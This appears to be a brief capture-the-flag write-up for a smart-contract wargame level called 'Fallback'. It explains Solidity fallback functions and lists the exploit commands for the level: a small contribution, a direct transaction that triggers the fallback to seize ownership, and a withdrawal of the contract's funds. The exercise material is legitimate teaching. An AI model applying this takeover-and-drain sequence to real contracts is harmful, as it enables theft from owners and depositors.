1. Fallback.md

The Fallback Function

A fallback function is a solidity function that is called when no other function in the smart contract matches the function name called. https://www.geeksforgeeks.org/solidity-fall-back-function/

Solution

1. Contribute to the contract

    contract.contribute({ value: toWei(".000001", "ether"), from: player }) 

2. Send a transaction to trigger fallback function

    sendTransaction({ to: contract.address, value: toWei(".000001", "ether"), from: player })

3. Withdraw from contract

    contract.withdraw()

**Verify ownership, it should return your address.

    await contract.owner()
